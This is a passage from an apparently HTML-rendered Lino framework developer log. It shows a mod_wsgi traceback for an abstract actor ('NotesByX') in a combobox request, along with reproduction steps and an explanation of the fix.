class="n"&gt;application&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;Loading&lt;/span&gt; &lt;span class="n"&gt;Python&lt;/span&gt; &lt;span class="n"&gt;script&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/usr/local/lino/lino_local/prod/wsgi.py&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Fri&lt;/span&gt; &lt;span class="n"&gt;Jul&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="mi"&gt;06&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;12.731921&lt;/span&gt; &lt;span class="mi"&gt;2020&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;wsgi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt; &lt;span class="mi"&gt;14140&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;tid&lt;/span&gt; &lt;span class="mi"&gt;140669235902208&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;Started&lt;/span&gt; &lt;span class="n"&gt;mod_wsgi&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;using&lt;/span&gt; &lt;span class="n"&gt;lino_local&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;weleup1&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;PID&lt;/span&gt; &lt;span class="mi"&gt;14140&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Fri&lt;/span&gt; &lt;span class="n"&gt;Jul&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="mi"&gt;06&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;14.500322&lt;/span&gt; &lt;span class="mi"&gt;2020&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;wsgi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt; &lt;span class="mi"&gt;14140&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;tid&lt;/span&gt; &lt;span class="mi"&gt;140669235902208&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;remote&lt;/span&gt; &lt;span class="mf"&gt;10.187.254.254&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45053&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;Building&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino_local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;weleup1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;media&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino_210_de&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Fri&lt;/span&gt; &lt;span class="n"&gt;Jul&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;59.205118&lt;/span&gt; &lt;span class="mi"&gt;2020&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;wsgi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt; &lt;span class="mi"&gt;14140&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;tid&lt;/span&gt; &lt;span class="mi"&gt;140669311436544&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;remote&lt;/span&gt; &lt;span class="mf"&gt;10.187.254.254&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;33591&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;Building&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino_local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;weleup1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;media&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino_400_de&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Fri&lt;/span&gt; &lt;span class="n"&gt;Jul&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;05.644278&lt;/span&gt; &lt;span class="mi"&gt;2020&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;wsgi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt; &lt;span class="mi"&gt;14140&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;tid&lt;/span&gt; &lt;span class="mi"&gt;140669294651136&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;remote&lt;/span&gt; &lt;span class="mf"&gt;10.187.254.254&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;35310&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Fri&lt;/span&gt; &lt;span class="n"&gt;Jul&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;05.644354&lt;/span&gt; &lt;span class="mi"&gt;2020&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;wsgi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt; &lt;span class="mi"&gt;14140&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;tid&lt;/span&gt; &lt;span class="mi"&gt;140669294651136&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;remote&lt;/span&gt; &lt;span class="mf"&gt;10.187.254.254&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;35310&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;   &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/lino/core/actors.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;905&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_get_handle&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Fri&lt;/span&gt; &lt;span class="n"&gt;Jul&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;05.644359&lt;/span&gt; &lt;span class="mi"&gt;2020&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;wsgi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt; &lt;span class="mi"&gt;14140&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;tid&lt;/span&gt; &lt;span class="mi"&gt;140669294651136&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;remote&lt;/span&gt; &lt;span class="mf"&gt;10.187.254.254&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;35310&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;     &lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SITE&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;setup_handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Fri&lt;/span&gt; &lt;span class="n"&gt;Jul&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;05.644365&lt;/span&gt; &lt;span class="mi"&gt;2020&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;wsgi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt; &lt;span class="mi"&gt;14140&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;tid&lt;/span&gt; &lt;span class="mi"&gt;140669294651136&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;remote&lt;/span&gt; &lt;span class="mf"&gt;10.187.254.254&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;35310&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;   &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/lino/core/kernel.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;831&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;setup_handle&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Fri&lt;/span&gt; &lt;span class="n"&gt;Jul&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;05.644369&lt;/span&gt; &lt;span class="mi"&gt;2020&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;wsgi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt; &lt;span class="mi"&gt;14140&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;tid&lt;/span&gt; &lt;span class="mi"&gt;140669294651136&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;remote&lt;/span&gt; &lt;span class="mf"&gt;10.187.254.254&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;35310&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;     &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;params_layout_handle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;actor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;make_params_layout_handle&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Fri&lt;/span&gt; &lt;span class="n"&gt;Jul&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;05.644374&lt;/span&gt; &lt;span class="mi"&gt;2020&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;wsgi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt; &lt;span class="mi"&gt;14140&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;tid&lt;/span&gt; &lt;span class="mi"&gt;140669294651136&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;remote&lt;/span&gt; &lt;span class="mf"&gt;10.187.254.254&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;35310&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;   &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/lino/core/actors.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;837&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;make_params_layout_handle&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Fri&lt;/span&gt; &lt;span class="n"&gt;Jul&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;05.644378&lt;/span&gt; &lt;span class="mi"&gt;2020&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;wsgi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt; &lt;span class="mi"&gt;14140&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;tid&lt;/span&gt; &lt;span class="mi"&gt;140669294651136&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;remote&lt;/span&gt; &lt;span class="mf"&gt;10.187.254.254&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;35310&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;     &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt; is abstract&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Fri&lt;/span&gt; &lt;span class="n"&gt;Jul&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;05.644391&lt;/span&gt; &lt;span class="mi"&gt;2020&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;wsgi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt; &lt;span class="mi"&gt;14140&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;tid&lt;/span&gt; &lt;span class="mi"&gt;140669294651136&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;remote&lt;/span&gt; &lt;span class="mf"&gt;10.187.254.254&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;35310&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;notes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NotesByX&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;abstract&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Fri&lt;/span&gt; &lt;span class="n"&gt;Jul&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;05.644492&lt;/span&gt; &lt;span class="mi"&gt;2020&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;wsgi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt; &lt;span class="mi"&gt;14140&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;tid&lt;/span&gt; &lt;span class="mi"&gt;140669294651136&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;remote&lt;/span&gt; &lt;span class="mf"&gt;10.187.254.254&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;35310&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;notes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NotesByX&lt;/span&gt; &lt;span class="n"&gt;setup_handle&lt;/span&gt; &lt;span class="n"&gt;failed&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;notes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NotesByX&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;abstract&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Fri&lt;/span&gt; &lt;span class="n"&gt;Jul&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;23.000049&lt;/span&gt; &lt;span class="mi"&gt;2020&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;wsgi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt; &lt;span class="mi"&gt;14140&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;tid&lt;/span&gt; &lt;span class="mi"&gt;140669294651136&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;remote&lt;/span&gt; &lt;span class="mf"&gt;10.187.254.254&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;35639&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;run_action&lt;/span&gt; &lt;span class="n"&gt;claudia&lt;/span&gt; &lt;span class="n"&gt;notes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NotesByProject&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;submit_insert&lt;/span&gt; &lt;span class="n"&gt;Client&lt;/span&gt; &lt;span class="c1"&gt;#203518 (&amp;#39;XXXXXXX xxxxx xxxx (203518)&amp;#39;) []&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;12.34.56.78 - claudia [24/Jul/2020:08:07:05 +0200] “GET /choices/notes/NotesByX/event_type?_dc=1595570823736&amp;amp;start=0&amp;amp;limit=20&amp;amp;query= HTTP/1.1” 200 728 “&lt;a class="reference external" href="http://lino.example.com/"&gt;http://lino.example.com/&lt;/a&gt;” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0”&lt;/p&gt;
&lt;p&gt;How to reproduce the problem: start runserver in the
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.projects.gerd&lt;/span&gt;&lt;/code&gt; demo project, sign in as robin, open the
detail window of any client. Select the History tab. Klick (+) in the “Notes”
panel. In the insert window, open the combobox of the event_type field (the
first one). Result : the terminal shows an error message (but for the user
everything works).&lt;/p&gt;
&lt;p&gt;It is because the &lt;cite&gt;insert_layout&lt;/cite&gt; here is defined on &lt;cite&gt;NotesByX&lt;/cite&gt;. And a Combobox
field uses the name of its defining actor (not the one it is actually being used
on) for requesting its choices.  And this even works because even an abstract
actor knows its fields and can find the right chooser.  The problem was that
recently we made the choices view create an action request, and an action
request then wants the actor’s handle as well. New rule: Lino now supports
action requests on abstract actors, but these don’t have an &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;ah&lt;/span&gt;&lt;/code&gt; attribute.&lt;/p&gt;
&lt;section id="tried-to-get-static-handle-for-debts-printentriesbybudget"&gt;
&lt;h2&gt;“Tried to get static handle for debts.PrintEntriesByBudget”&lt;a class="headerlink" href="#tried-to-get-static-handle-for-debts-printentriesbybudget" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://react.lino-framework.org/index.html#react" title="(in Lino React)"&gt;&lt;span&gt;React front end for Lino&lt;/span&gt;&lt;/a&gt; front end does not yet support dynamic actor handles. This is
a missing feature, which is used only in &lt;a class="reference external" href="https://welfare.lino-framework.org/api/lino_welfare.modlib.debts.html#module-lino_welfare.modlib.debts" title="(in Lino Welfare)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.debts&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.
Reproducible by switching the &lt;cite&gt;default_ui&lt;/cite&gt; to &lt;cite&gt;react&lt;/cite&gt; in the
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.projects.gerd&lt;/span&gt;&lt;/code&gt; demo project:&lt;/p&gt;
